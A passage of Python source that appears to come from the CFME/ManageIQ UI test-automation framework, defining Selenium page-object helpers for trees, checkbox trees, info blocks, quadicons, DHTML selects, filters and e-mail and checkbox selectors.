and self._get_tag() == \"table\":\n return self._legacy_read_contents() # Legacy\n parent = self.locator if parent is None else parent\n\n result = []\n\n for item in self.nodes_root_elements(parent):\n item_name = sel.text(self.node_label_loc, root=item).encode(\"utf-8\").strip()\n expanded = self._expand(item, True)\n try:\n item_contents = self.read_contents(\n sel.element(self.nodes_root_continue, root=item), unexpand)\n if item_contents is None:\n result.append(item_name)\n else:\n result.append((item_name, item_contents))\n if expanded and unexpand:\n self._expand(item, False)\n except NoSuchElementException:\n result.append(item_name)\n\n return result if len(result) > 0 else None\n\n def _legacy_read_contents(self):\n self._detect()\n entry = sel.element(\".//tbody[not(tr/td[contains(@class, 'hiddenRow')])]\",\n root=self.locator)\n\n def _process_subtree(entry):\n node_title = sel.text(\"./tr/td[@class='standartTreeRow']/span\", root=entry)\n self._expand(entry)\n child_nodes = sel.elements(\"./tr[not(@title)]/td/table/tbody\", root=entry)\n if not child_nodes:\n return node_title\n else:\n return (node_title, map(lambda tree: _process_subtree(tree), child_nodes))\n\n return [_process_subtree(entry)]\n\n def click_path(self, *path):\n \"\"\" Exposes a path and then clicks it.\n\n Args:\n *path: The path as multiple positional string arguments denoting the course to take.\n\n Returns: The leaf web element.\n\n \"\"\"\n # expand all but the last item\n leaf = self.expand_path(*path[:-1]) or sel.element(self.locator)\n if leaf:\n try:\n sel.click(self.node_element(path[-1], leaf))\n except sel_exceptions.NoSuchElementException as e:\n raise exceptions.CandidateNotFound(\n {'message': \"%s: could not be found in the tree.\" % path[-1],\n 'path': path,\n 'index': len(path) - 1,\n 'cause': e})\n return leaf\n\n @classmethod\n def browse(cls, tree, *path):\n \"\"\"Browse through tree via path.\n\n If node not found, raises exception.\n If the browsing reached leaf(str), returns True if also the step was last, otherwise False.\n If the result of the path is a subtree, it is returned.\n\n Args:\n tree: List with tree.\n *path: Path to browse.\n \"\"\"\n current = tree\n for i, step in enumerate(path, start=1):\n for node in current:\n if isinstance(node, tuple):\n if node[0] == step:\n current = node[1]\n break\n else:\n if node == step:\n return i == len(path)\n else:\n raise Exception(\"Could not find node {}\".format(step))\n return current\n\n @classmethod\n def flatten_level(cls, tree):\n \"\"\"Extracts just node names from current tree (top).\n\n It makes:\n\n .. code-block:: python\n\n [\"asd\", \"fgh\", (\"ijk\", [...]), (\"lmn\", [...])]\n\n to\n\n .. code-block:: python\n\n [\"asd\", \"fgh\", \"ijk\", \"lmn\"]\n\n Useful for checking of contents of current tree level\n \"\"\"\n return map(lambda item: item[0] if isinstance(item, tuple) else item, tree)\n\n def find_path_to(self, target):\n \"\"\" Method used to look up the exact path to an item we know only by its regexp or partial\n description.\n\n Expands whole tree during the execution.\n\n Args:\n target: Item searched for. Can be regexp made by\n :py:func:`re.compile `,\n otherwise it is taken as a string for `in` matching.\n Returns: :py:class:`list` with path to that item.\n \"\"\"\n if not isinstance(target, re._pattern_type):\n target = re.compile(r\".*?{}.*?\".format(re.escape(str(target))))\n\n def _find_in_tree(t, p=None):\n if p is None:\n p = []\n for item in t:\n if isinstance(item, tuple):\n if target.match(item[0]) is None:\n subtree = _find_in_tree(item[1], p + [item[0]])\n if subtree is not None:\n return subtree\n else:\n return p + [item[0]]\n else:\n if target.match(item) is not None:\n return p + [item]\n else:\n return None\n\n result = _find_in_tree(self.read_contents())\n if result is None:\n raise NameError(\"{} not found in tree\".format(target.pattern))\n else:\n return result\n\n\nclass CheckboxTree(Tree):\n \"\"\"Tree that has a checkbox on each node, adds methods to check/uncheck them\"\"\"\n\n def _is_legacy_checked(self, leaf):\n checkbox = sel.element(self.node_checkbox, root=leaf)\n src = sel.get_attribute(checkbox, 'src')\n for on_off, imgattrs in self.node_images.items():\n for imgattr in imgattrs:\n if imgattr in src:\n return on_off\n raise LookupError(\"Could not determine if Tree checkbox %s was checked or not\"\n % checkbox)\n\n def _is_dynatree_checked(self, leaf):\n return 'dynatree-selected' in \\\n sel.get_attribute(sel.element(\"span\", root=leaf), 'class')\n\n def _detect(self):\n super(CheckboxTree, self)._detect()\n if self._get_tag() == 'ul':\n self.node_checkbox = \"span/span[@class='dynatree-checkbox']\"\n self._is_checked = self._is_dynatree_checked\n elif self._get_tag() == 'table':\n self.node_checkbox = \"tr/td[2]/img\"\n self.node_images = {True: ['iconCheckAll', 'radio_on'],\n False: ['iconUncheckAll', 'radio_off']}\n self._is_checked = self._is_legacy_checked\n\n def _check_uncheck_node(self, path, check=False):\n \"\"\" Checks or unchecks a node.\n\n Args:\n *path: The path as multiple positional string arguments denoting the course to take.\n check: If ``True``, the node is checked, ``False`` the node is unchecked.\n \"\"\"\n self._detect()\n leaf = self.expand_path(*path)\n cb = sel.element(self.node_checkbox, root=leaf)\n if check is not self._is_checked(leaf):\n sel.click(cb)\n\n def check_node(self, *path):\n \"\"\" Convenience function to check a node\n\n Args:\n *path: The path as multiple positional string arguments denoting the course to take.\n \"\"\"\n self._check_uncheck_node(path, check=True)\n\n def uncheck_node(self, *path):\n \"\"\" Convenience function to uncheck a node\n\n Args:\n *path: The path as multiple positional string arguments denoting the course to take.\n \"\"\"\n self._check_uncheck_node(path, check=False)\n\n\n@fill.method((Tree, Sequence))\ndef _fill_tree_seq(tree, values):\n tree.click_path(*values)\n\n\n@sel.select.method((CheckboxTree, Sequence))\n@fill.method((CheckboxTree, Sequence))\ndef _select_chkboxtree_seq(cbtree, values):\n \"\"\"values should be a list of tuple pairs, where the first item is the\n path to select, and the second is whether to check or uncheck.\n\n Usage:\n\n select(cbtree, [(['Foo', 'Bar'], False),\n (['Baz'], True)])\n \"\"\"\n for (path, to_select) in values:\n if to_select:\n cbtree.check_node(*path)\n else:\n cbtree.uncheck_node(*path)\n\n\nclass InfoBlock(Pretty):\n DETAIL = \"detail\"\n FORM = \"form\"\n _TITLE_CACHE = {}\n\n pretty_attrs = [\"title\"]\n\n def __new__(cls, title, detail=None):\n # Caching\n if title not in cls._TITLE_CACHE:\n cls._TITLE_CACHE[title] = super(InfoBlock, cls).__new__(cls)\n cls._TITLE_CACHE[title].__init__(title)\n instance = cls._TITLE_CACHE[title]\n if detail is None:\n return instance\n else:\n return instance.member(detail)\n\n def __init__(self, title):\n if all(map(lambda a: hasattr(self, a), [\"title\", \"_type\", \"_member_cache\"])):\n return\n self.title = title\n self._type = None\n self._member_cache = {}\n\n @property\n def type(self):\n if self._type is None:\n self.root # To retrieve it\n return self._type\n\n @property\n def root(self):\n possible_locators = [\n # Detail type\n version.pick({\n '5.3': '//table//th[contains(normalize-space(.), \"{}\")]/../../../..'.format(\n self.title),\n version.LOWEST:\n '//div[@class=\"modbox\"]/h2[@class=\"modtitle\"]'\n '[contains(normalize-space(.), \"{}\")]/..'.format(self.title)\n }),\n # Form type\n (\n '//*[p[@class=\"legend\"][contains(normalize-space(.), \"{}\")] and table/tbody/tr/td['\n 'contains(@class, \"key\")]]'.format(self.title)\n ),\n # Newer Form type (master.20150311020845_547fd06 onwards)\n (\n '//*[h3[contains(normalize-space(.), \"{}\")] and table/tbody/tr/td['\n 'contains(@class, \"key\")]]'.format(self.title)\n )\n # The root element must contain table element because listaccordions were caught by the\n # locator. It used to be fieldset but it seems it can be really anything\n ]\n found = sel.elements(\"|\".join(possible_locators))\n if not found:\n raise exceptions.BlockTypeUnknown(\"The block type requested is unknown\")\n root_el = found[0]\n if sel.elements(\"./table/tbody/tr/td[contains(@class, 'key')]\", root=root_el):\n self._type = self.FORM\n else:\n self._type = self.DETAIL\n return root_el\n\n def member(self, name):\n if name not in self._member_cache:\n self._member_cache[name] = self.Member(self, name)\n return self._member_cache[name]\n\n def __call__(self, member):\n \"\"\"A present for @smyers\"\"\"\n return self.member(member)\n\n ##\n #\n # Shortcuts for old-style access\n #\n @classmethod\n def text(cls, *args, **kwargs):\n return cls(*args, **kwargs).text\n\n @classmethod\n def element(cls, *args, **kwargs):\n return cls(*args, **kwargs).element\n\n @classmethod\n def elements(cls, *args, **kwargs):\n return cls(*args, **kwargs).elements\n\n @classmethod\n def icon_href(cls, *args, **kwargs):\n return cls(*args, **kwargs).icon_href\n\n @classmethod\n def container(cls, args, **kwargs):\n try:\n return sel.element(cls(*args, **kwargs).container)\n except sel_exceptions.NoSuchElementException:\n raise exceptions.ElementOrBlockNotFound(\n \"Either the element of the block could not be found\")\n\n class Member(Pretty):\n pretty_attrs = \"name\", \"ib\"\n\n def __init__(self, ib, name):\n self.ib = ib\n self.name = name\n\n @property\n def pair_locator(self):\n if self.ib.type == InfoBlock.DETAIL:\n return './/table/tbody/tr/td[1][@class=\"label\"][normalize-space(.)=\"{}\"]/..'.format(\n self.name)\n elif self.ib.type == InfoBlock.FORM:\n return './/table/tbody/tr/td[1][@class=\"key\"][normalize-space(.)=\"{}\"]/..'.format(\n self.name)\n\n @property\n def pair(self):\n return sel.element(self.pair_locator, root=self.ib.root)\n\n @property\n def container(self):\n return sel.element(\"./td[2]\", root=self.pair)\n\n def locate(self):\n return self.container\n\n @property\n def elements(self):\n return sel.elements(\"./*\", root=self.container)\n\n @property\n def element(self):\n return self.elements[0]\n\n @property\n def text(self):\n return sel.text(self.container).encode(\"utf-8\").strip()\n\n @property\n def icon_href(self):\n try:\n return sel.get_attribute(sel.element(\"./img\", root=self.container), \"src\")\n except sel_exceptions.NoSuchElementException:\n return None\n\n @property\n def title(self):\n return sel.get_attribute(self.pair, \"title\") or None\n\n\n@fill.method((InfoBlock, Sequence))\ndef _ib_seq(ib, i):\n for item in i:\n sel.click(ib.member(item))\n\n\n@fill.method((InfoBlock, basestring))\ndef _ib_str(ib, s):\n fill([s])\n\n\n@fill.method((InfoBlock.Member, bool))\ndef _ib_m_seq(member, b):\n if b:\n sel.click(member)\n\n\nclass Quadicon(Pretty):\n \"\"\"\n Represents a single quadruple icon in the CFME UI.\n\n A Quadicon contains multiple quadrants. These are accessed via attributes.\n The qtype is currently one of the following and determines which attribute names\n are present. They are mapped internally and can be reassigned easily if the UI changes.\n\n A Quadicon is used by defining the name of the icon and the type. After that, it can be used\n to obtain the locator of the Quadicon, or query its quadrants, via attributes.\n\n Args:\n name: The label of the icon.\n qtype: The type of the quad icon. By default it is ``None``, therefore plain quad without any\n retrievable data usable for selecting/clicking.\n\n Usage:\n\n qi = web_ui.Quadicon('hostname.local', 'host')\n qi.creds\n click(qi)\n\n .. rubric:: Known Quadicon Types and Attributes\n\n * **host** - *from the infra/host page* - has quads:\n\n * a. **no_vm** - Number of VMs\n * b. **state** - The current state of the host\n * c. **vendor** - The vendor of the host\n * d. **creds** - If the creds are valid\n\n * **infra_prov** - *from the infra/providers page* - has quads:\n\n * a. **no_host** - Number of hosts\n * b. *Blank*\n * c. **vendor** - The vendor of the provider\n * d. **creds** - If the creds are valid\n\n * **vm** - *from the infra/virtual_machines page* - has quads:\n\n * a. **os** - The OS of the vm\n * b. **state** - The current state of the vm\n * c. **vendor** - The vendor of the vm's host\n * d. **no_snapshot** - The number of snapshots\n * g. **policy** - The state of the policy\n\n * **cloud_prov** - *from the cloud/providers page* - has quads:\n\n * a. **no_instance** - Number of instances\n * b. **no_image** - Number of machine images\n * c. **vendor** - The vendor of the provider\n * d. **creds** - If the creds are valid\n\n * **instance** - *from the cloud/instances page* - has quads:\n\n * a. **os** - The OS of the instance\n * b. **state** - The current state of the instance\n * c. **vendor** - The vendor of the instance's host\n * d. **no_snapshot** - The number of snapshots\n * g. **policy** - The state of the policy\n\n * **datastore** - *from the infra/datastores page* - has quads:\n\n * a. **type** - File system type\n * b. **no_vm** - Number of VMs\n * c. **no_host** - Number of hosts\n * d. **avail_space** - Available space\n\n * **repository** - *from the infra/repositories page* - has no quads\n * **cluster** - *from the infra/cluster page* - has no quads\n * **resource_pool** - *from the infra/resource_pool page* - has no quads\n * **stack** - *from the clouds/stacks page* - has no quads\n\n Returns: A :py:class:`Quadicon` object.\n \"\"\"\n\n pretty_attrs = ['_name', '_qtype']\n\n QUADS = {\n \"host\": {\n \"no_vm\": (\"a\", 'txt'),\n \"state\": (\"b\", 'img'),\n \"vendor\": (\"c\", 'img'),\n \"creds\": (\"d\", 'img'),\n },\n \"infra_prov\": {\n \"no_host\": (\"a\", 'txt'),\n \"vendor\": (\"c\", 'img'),\n \"creds\": (\"d\", 'img'),\n },\n \"vm\": {\n \"os\": (\"a\", 'img'),\n \"state\": (\"b\", 'img'),\n \"vendor\": (\"c\", 'img'),\n \"no_snapshot\": (\"d\", 'txt'),\n \"policy\": (\"g\", 'img'),\n },\n \"cloud_prov\": {\n \"no_vm\": (\"a\", 'txt'),\n \"no_image\": (\"b\", 'txt'),\n \"vendor\": (\"b\", 'img'),\n \"creds\": (\"d\", 'img'),\n },\n \"instance\": {\n \"os\": (\"a\", 'img'),\n \"state\": (\"b\", 'img'),\n \"vendor\": (\"c\", 'img'),\n \"no_snapshot\": (\"d\", 'txt'),\n \"policy\": (\"g\", 'img'),\n },\n \"stack\": {},\n \"datastore\": {\n \"type\": (\"a\", 'img'),\n \"no_vm\": (\"b\", 'txt'),\n \"no_host\": (\"c\", 'txt'),\n \"avail_space\": (\"d\", 'img'),\n },\n \"cluster\": {},\n \"repository\": {},\n \"resource_pool\": {},\n \"template\": {\n \"os\": (\"a\", 'img'),\n \"state\": (\"b\", 'img'),\n \"vendor\": (\"c\", 'img'),\n \"no_snapshot\": (\"d\", 'txt'),\n },\n \"image\": {\n \"os\": (\"a\", 'img'),\n \"state\": (\"b\", 'img'),\n \"vendor\": (\"c\", 'img'),\n \"no_snapshot\": (\"d\", 'txt'),\n },\n None: {}, # If you just want to find the quad and not mess with data\n }\n\n def __init__(self, name, qtype=None):\n self._name = name\n self.qtype = qtype\n\n @property\n def qtype(self):\n return self._qtype\n\n @qtype.setter\n def qtype(self, value):\n assert value in self.QUADS\n self._qtype = value\n\n @property\n def _quad_data(self):\n return self.QUADS[self.qtype]\n\n def checkbox(self):\n \"\"\" Returns: a locator for the internal checkbox for the quadicon\"\"\"\n return \"//input[@type='checkbox' and ../../..//a[@title={}]]\".format(quoteattr(self._name))\n\n @property\n def exists(self):\n try:\n self.locate()\n return True\n except sel.NoSuchElementException:\n return False\n\n def locate(self):\n \"\"\" Returns: a locator for the quadicon anchor\"\"\"\n try:\n return sel.move_to_element('div/a',\n root=\"//div[@id='quadicon' and ../../..//a[@title={}]]\".format(\n quoteattr(self._name)))\n except sel.NoSuchElementException:\n quads = sel.elements(\"//div[@id='quadicon']/../../../tr/td/a\")\n if not quads:\n raise sel.NoSuchElementException(\"Quadicon {} not found. No quads present\".format(\n self._name))\n else:\n quad_names = [sel.get_attribute(quad, \"title\") for quad in quads]\n raise sel.NoSuchElementException(\n \"Quadicon {} not found. These quads are present:\\n{}\".format(\n self._name, \", \".join(quad_names)))\n\n def _locate_quadrant(self, corner):\n \"\"\" Returns: a locator for the specific quadrant\"\"\"\n return \"//div[contains(@class, {}) and ../../../..//a[@title={}]]\".format(\n quoteattr(\"{}72\".format(corner)),\n quoteattr(self._name))\n\n def __getattr__(self, name):\n \"\"\" Queries the quadrants by name\n\n Args:\n name: The name of the quadrant identifier, as defined above.\n Returns: A string containing a representation of what is in the quadrant.\n \"\"\"\n if name in self._quad_data:\n corner, rtype = self._quad_data[name]\n locator = self._locate_quadrant(corner)\n # We have to have a try/except here as some quadrants\n # do not exist if they have no data, e.g. current_state in a host\n # with no credentials.\n try:\n el = sel.element(locator)\n except sel_exceptions.NoSuchElementException:\n return None\n if rtype == 'txt':\n return el.text\n if rtype == 'img':\n img_el = sel.element('.//img', root=el)\n img_name = sel.get_attribute(img_el, 'src')\n path, filename = os.path.split(img_name)\n root, ext = os.path.splitext(filename)\n return root\n else:\n return object.__getattribute__(self, name)\n\n def __str__(self):\n return self.locate()\n\n @classmethod\n def all(cls, qtype=None, this_page=False):\n \"\"\"Allows iteration over Quadicons.\n\n Args:\n qtype: Quadicon type. Refer to the constructor for reference.\n this_page: Whether to look for Quadicons only on current page (do not list pages).\n Returns: :py:class:`list` of :py:class:`Quadicon`\n \"\"\"\n from cfme.web_ui import paginator # Prevent circular imports\n if this_page:\n pages = (None, ) # Single, current page. Since we dont care about the value, using None\n else:\n pages = paginator.pages()\n for page in pages:\n for href in sel.elements(\"//div[@id='quadicon']/../../../tr/td/a\"):\n yield cls(sel.get_attribute(href, \"title\"), qtype)\n\n @classmethod\n def first(cls, qtype=None):\n return cls(cls.get_first_quad_title(), qtype=qtype)\n\n @staticmethod\n def select_first_quad():\n fill(\"//div[@id='quadicon']/../..//input\", True)\n\n @staticmethod\n def get_first_quad_title():\n return sel.get_attribute(\"//div[@id='quadicon']/../../../tr/td/a\", \"title\")\n\n @classproperty\n def any_present(cls):\n try:\n cls.get_first_quad_title()\n except NoSuchElementException:\n return False\n except AttributeError:\n # This is needed so that if there is no browser, we fail nicely, this in turn is\n # needed to make the docs not error.\n return False\n else:\n return True\n\n @property\n def name(self):\n \"\"\" Returns name of the quadicon.\"\"\"\n return self._name\n\n @property\n def check_for_single_quadrant_icon(self):\n \"\"\" Checks if the quad icon is a single quadrant icon.\"\"\"\n for quadrant_name in self._quad_data.iterkeys():\n # These quadrant will be displayed if it is a regular quad\n quadrant_id = self._quad_data[quadrant_name][0] # It is a tuple\n if sel.is_displayed(self._locate_quadrant(quadrant_id)):\n return False\n return sel.is_displayed(self._locate_quadrant(\"e\")) # Image has only 'e'\n\n\nclass DHTMLSelect(Select):\n \"\"\"\n A special Select object for CFME's icon enhanced DHTMLx Select elements.\n\n Args:\n loc: A locator.\n\n Returns a :py:class:`cfme.web_ui.DHTMLSelect` object.\n\n \"\"\"\n\n @staticmethod\n def _log(meth, val=None):\n if val:\n val_string = \" with value %s\" % val\n logger.debug('Filling in DHTMLSelect using (%s)%s' % (meth, val_string))\n\n def _get_select_name(self):\n \"\"\" Get's the name reference of the element from its hidden attribute.\n \"\"\"\n\n root_el = sel.element(self)\n el = sel.element(\"div/input[2]\", root=root_el)\n name = sel.get_attribute(el, 'name')\n return name\n\n @property\n def all_selected_options(self):\n \"\"\" Returns all selected options.\n\n Note: Since the DHTML select can only have one option selected at a time, we\n simple return the first element (the only element).\n\n Returns: A Web element.\n\n \"\"\"\n return [self.first_selected_option]\n\n @property\n def first_selected_option(self):\n \"\"\" Returns the first selected option in the DHTML select\n\n Note: In a DHTML select, there is only one option selectable at a time.\n\n Returns: A webelement.\n \"\"\"\n name = self._get_select_name()\n return browser().execute_script(\n 'return %s.getOptionByIndex(%s.getSelectedIndex()).content' % (name, name))\n\n @property\n def options(self):\n \"\"\" Returns a list of options of the select as webelements.\n\n Returns: A list of Webelements.\n \"\"\"\n name = self._get_select_name()\n return browser().execute_script('return %s.DOMlist.children' % name)\n\n def select_by_index(self, index, _cascade=None):\n \"\"\" Selects an option by index.\n\n Args:\n index: The select element's option by index.\n \"\"\"\n name = self._get_select_name()\n if index is not None:\n if not _cascade:\n self._log('index', index)\n browser().execute_script('%s.selectOption(%s)' % (name, index))\n\n def select_by_visible_text(self, text):\n \"\"\" Selects an option by visible text.\n\n Args:\n text: The select element option's visible text.\n \"\"\"\n name = self._get_select_name()\n if text is not None:\n self._log('visible_text', text)\n value = browser().execute_script('return %s.getOptionByLabel(\"%s\").value'\n % (name, text))\n self.select_by_value(value, _cascade=True)\n\n def select_by_value(self, value, _cascade=None):\n \"\"\" Selects an option by value.\n\n Args:\n value: The select element's option value.\n \"\"\"\n name = self._get_select_name()\n if value is not None:\n if not _cascade:\n self._log('value', value)\n index = browser().execute_script('return %s.getIndexByValue(\"%s\")' % (name, value))\n self.select_by_index(index, _cascade=True)\n\n def locate(self):\n return sel.move_to_element(self._loc)\n\n\n@sel.select.method((DHTMLSelect, basestring))\ndef select_dhtml(dhtml, s):\n dhtml.select_by_visible_text(s)\n\n\nclass Filter(Form):\n \"\"\" Filters requests pages\n\n This class inherits Form as its base and adds a few methods to assist in filtering\n request pages.\n\n Usage:\n f = Filter(fields=[\n ('type', Select('//select[@id=\"type_choice\"]')),\n ('approved', Input(\"state_choice__approved\")),\n ('denied', Input\"state_choice__denied\")),\n ('pending_approval', Input(\"state_choice__pending_approval\")),\n ('date', Select('//select[@id=\"time_period\"]')),\n ('reason', Input(\"reason_text\")),\n ])\n\n f.apply_filter(type=\"VM Clone\", approved=False,\n pending_approval=False, date=\"Last 24 Hours\", reason=\"Just Because\")\n \"\"\"\n\n buttons = {\n 'default_off': '//div[@id=\"buttons_off\"]/li/a/img[@alt=\"Set filters to default\"]',\n 'default_on': '//div[@id=\"buttons_on\"]/li/a/img[@alt=\"Set filters to default\"]',\n 'apply': '//div[@id=\"buttons_on\"]//a[@title=\"Apply the selected filters\"]',\n 'reset': '//div[@id=\"buttons_on\"]//a[@title=\"Reset filter changes\"]'\n }\n\n def default_filter(self):\n \"\"\" Method to reset the filter back to defaults.\n \"\"\"\n sel.click(self.buttons['default_off'])\n sel.click(self.buttons['default_on'])\n\n def reset_filter(self):\n \"\"\" Method to reset the changes to the filter since last applying.\n \"\"\"\n sel.click(self.buttons['reset'])\n\n def apply_filter(self, **kwargs):\n \"\"\" Method to apply a filter.\n\n First resets the filter to default and then applies the filter.\n\n Args:\n **kwargs: A dictionary of form elements to fill and their values.\n \"\"\"\n self.default_filter()\n self.fill(kwargs)\n sel.click(self.buttons['apply'])\n\n\nclass MultiSelect(Region):\n \"\"\"Represents a UI widget where there are two select boxes, one with\n possible selections, and another with selected items. Has two\n arrow buttons to move items between the two\"\"\"\n\n def __init__(self,\n available_select=None,\n selected_select=None,\n select_arrow=None,\n deselect_arrow=None):\n self.available_select = available_select\n self.selected_select = selected_select\n self.select_arrow = select_arrow\n self.deselect_arrow = deselect_arrow\n\n\n@sel.select.method((MultiSelect, Sequence))\ndef select_multiselect(ms, values):\n sel.select(ms.available_select, values)\n sel.click(ms.select_arrow)\n\n\n@fill.method((MultiSelect, Sequence))\ndef fill_multiselect(ms, items):\n sel.select(ms, items)\n\n\nclass UpDownSelect(Region):\n \"\"\"Multiselect with two arrows (up/down) next to it. Eg. in AE/Domain priority selection.\n\n Args:\n select_loc: Locator for the select box (without Select element wrapping)\n up_loc: Locator of the Move Up arrow.\n down_loc: Locator with Move Down arrow.\n \"\"\"\n def __init__(self, select_loc, up_loc, down_loc):\n super(UpDownSelect, self).__init__(locators=dict(\n select=Select(select_loc, multi=True),\n up=up_loc,\n down=down_loc,\n ))\n\n def get_items(self):\n return map(lambda el: el.text.encode(\"utf-8\"), self.select.options)\n\n def move_up(self, item):\n item = str(item)\n assert item in self.get_items()\n self.select.deselect_all()\n sel.select(self.select, item)\n sel.click(self.up)\n\n def move_down(self, item):\n item = str(item)\n assert item in self.get_items()\n self.select.deselect_all()\n sel.select(self.select, item)\n sel.click(self.down)\n\n def move_top(self, item):\n item = str(item)\n assert item in self.get_items()\n self.select.deselect_all()\n while item != self.get_items()[0]:\n sel.select(self.select, item)\n sel.click(self.up)\n\n def move_bottom(self, item):\n item = str(item)\n assert item in self.get_items()\n self.select.deselect_all()\n while item != self.get_items()[-1]:\n sel.select(self.select, item)\n sel.click(self.down)\n\n\n@fill.method((UpDownSelect, Sequence))\ndef _fill_uds_seq(uds, seq):\n seq = map(str, seq)\n for item in reversed(seq): # reversed because every new item at top pushes others down\n uds.move_top(item)\n\n\nclass ScriptBox(Pretty):\n \"\"\"Represents a script box as is present on the customization templates pages.\n This box has to be activated before keys can be sent. Since this can't be done\n until the box element is visible, and some dropdowns change the element, it must\n be activated \"inline\".\n\n Args:\n \"\"\"\n\n pretty_attrs = ['locator']\n\n def __init__(self, name=None, ta_locator=\"//textarea[contains(@id, 'method_data')]\"):\n self._name = name\n self.ta_loc = ta_locator\n\n @property\n def name(self):\n if not self._name:\n self._name = version.pick({\n version.LOWEST: 'miqEditor',\n '5.5': 'ManageIQ.editor'})\n return self._name\n\n def get_value(self):\n script = sel.execute_script('return {}.getValue();'.format(self.name))\n script = script.replace('\\\\\"', '\"').replace(\"\\\\n\", \"\\n\")\n return script\n\n\n@fill.method((ScriptBox, Anything))\ndef fill_scriptbox(sb, script):\n \"\"\"This function now clears and sets the ScriptBox.\n \"\"\"\n script = script.replace('\"', '\\\\\"').replace(\"\\n\", \"\\\\n\")\n sel.execute_script('{}.setValue(\"{}\");'.format(sb.name, script))\n sel.wait_for_ajax()\n sel.execute_script('{}.save();'.format(sb.name))\n sel.wait_for_ajax()\n\n\nclass EmailSelectForm(Pretty):\n \"\"\"Class encapsulating the e-mail selector, eg. in Control/Alarms editing.\"\"\"\n fields = Region(locators=dict(\n from_address=Input('from'),\n user_emails=Select(\"//select[@id='user_email']\"),\n manual_input=Input('email'),\n add_email_manually=\"//img[@title='Add' and contains(@onclick, 'add_email')]\"\n ))\n\n @property\n def to_emails(self):\n \"\"\"Returns list of e-mails that are selected\"\"\"\n return [\n sel.text(el)\n for el\n in sel.elements(\"//a[contains(@href, 'remove_email')]\")\n ]\n\n @property\n def user_emails(self):\n \"\"\"Returns list of e-mail that users inside CFME have so that they can be selected\"\"\"\n try:\n return [\n sel.get_attribute(el, \"value\")\n for el\n in self.fields.user_emails.options\n if len(sel.get_attribute(el, \"value\").strip()) > 0\n ]\n except NoSuchElementException: # It disappears when empty\n return []\n\n def remove_email(self, email):\n \"\"\"Remove specified e-mail\n\n Args:\n email: E-mail to remove\n \"\"\"\n if email in self.to_emails:\n sel.click(\"//a[contains(@href, 'remove_email')][normalize-space(.)='%s']\" % email)\n return email not in self.to_emails\n else:\n return True\n\n @to_emails.setter\n def to_emails(self, emails):\n \"\"\"Function for filling e-mails\n\n Args:\n emails: List of e-mails that should be filled. Any existing e-mails that are not in this\n variable will be deleted.\n \"\"\"\n if isinstance(emails, basestring):\n emails = [emails]\n # Delete e-mails that have nothing to do here\n for email in self.to_emails:\n if email not in emails:\n assert self.remove_email(email), \"Could not remove e-mail '%s'\" % email\n # Add new\n for email in emails:\n if email in self.to_emails:\n continue\n if email in self.user_emails:\n sel.select(self.fields.user_emails, sel.ByValue(email))\n else:\n fill(self.fields.manual_input, email)\n sel.click(self.fields.add_email_manually)\n assert email in self.to_emails, \"Adding e-mail '%s' manually failed!\" % email\n\n\n@fill.method((EmailSelectForm, basestring))\n@fill.method((EmailSelectForm, list))\n@fill.method((EmailSelectForm, set))\n@fill.method((EmailSelectForm, tuple))\ndef fill_email_select_form(form, emails):\n form.to_emails = emails\n\n\nclass CheckboxSelect(Pretty):\n \"\"\"Class used for filling those bunches of checkboxes I (@mfalesni) always hated to search for.\n\n Can fill by values, text or both. To search the text for the checkbox, you have 2 choices:\n\n * If the text can be got from parent's tag (like `
    blablabla
    `\n where blablabla is the checkbox's description looked up), you can leave the\n `text_access_func` unfilled.\n * If there is more complicated layout and you don't mind a bit slower operation, you can pass\n the text_access_func, which should be like `lambda checkbox_el: get_text_of(checkbox_el)`.\n The checkbox `WebElement` is passed to it and the description text is the expected output\n of the function.\n\n Args:\n search_root: Root element for checkbox search\n text_access_func: Function returning descriptive text about passed CB element.\n \"\"\"\n\n pretty_attrs = ['_root']\n\n def __init__(self, search_root, text_access_func=None):\n self._root = search_root\n self._access_func = text_access_func\n\n @property\n def checkboxes(self):\n \"\"\"All checkboxes.\"\"\"\n return set(sel.elements(\".//input[@type='checkbox']\", root=sel.element(self._root)))\n\n @property\n def selected_checkboxes(self):\n \"\"\"Only selected checkboxes.\"\"\"\n return {cb for cb in self.checkboxes if cb.is_selected()}\n\n @property\n def selected_values(self):\n \"\"\"Only selected checkboxes' values.\"\"\"\n return {sel.get_attribute(cb, \"value\") for cb in self.selected_checkboxes}\n\n @property\n def unselected_checkboxes(self):\n \"\"\"Only unselected checkboxes.\"\"\"\n return {cb for cb in self.checkboxes if not cb.is_selected()}\n\n @property\n def unselected_values(self):\n \"\"\"Only unselected checkboxes' values.\"\"\"\n return {sel.get_attribute(cb, \"value\") for cb in self.unselected_checkboxes}\n\n def checkbox_by_id(self, id):\n \"\"\"Find checkbox's WebElement by id.\"\"\"\n return sel.element(\n \".//input[@type='checkbox' and @id='%s']\" % id, root=sel.element(self._root)\n )\n\n def select_all(self):\n \"\"\"Selects all checkboxes.\"\"\"\n for cb in self.unselected_checkboxes:\n sel.check(cb)\n\n def unselect_all(self):\n \"\"\"Unselects all checkboxes.\"\"\"\n for cb in self.selected_checkboxes:\n sel.uncheck(cb)\n\n def checkbox_by_text(self, text):\n \"\"\"Returns checkbox's WebElement by searched by its text.\"\"\"\n if self._access_func is not None:\n for cb in self.checkboxes:\n txt = self._access_func(cb)\n if txt == text:\n return cb\n else:\n raise NameError(\"Checkbox with text %s not found!\" % text)\n else:\n # Has to be only single\n return sel.element(\n \".//*[contains(., '%s')]/input[@type='checkbox']\" % text,\n root=sel.element(self._root)\n )\n\n def check(self, values):\n \"\"\"Checking function.\n\n Args:\n values: Dictionary with key=CB name, value=bool with status.\n\n Look in the function to see.\n \"\"\"\n for name, value in values.iteritems():\n if isinstance(name, sel.ByText):\n sel.checkbox(self.checkbox_by_text(str(name)), value)\n else:\n sel.checkbox(self.checkbox_by_id(name), value)\n\n\n@fill.method((CheckboxSelect, bool))\ndef fill_cb_select_bool(select, all_state):\n if all_state is True:\n return select.select_all()\n else:\n return select.unselect_all()\n\n\n@fill.method((CheckboxSelect, list))\n@fill.method((CheckboxSelect, set))\ndef fill_cb_select_set(select, names):\n return select.check({k: True for k in names})\n\n\n@fill.method((CheckboxSelect, Mapping))\ndef fill_cb_select_dictlist(select, dictlist):\n return select.check(dictlist)\n\n\n@fill.method((CheckboxSelect, basestring))\n@fill.method((CheckboxSelect, sel.ByText))\ndef fill_cb_select_string(select, cb):\n return fill(select, {cb})\n\n\nclass ShowingInputs(Pretty):\n \"\"\"This class abstracts out as a container of inputs, that appear after preceeding was filled.\n\n Args:\n *locators: In-order-of-display specification of locators.\n Keywords:\n min_values: How many values are required (Default: 0)\n 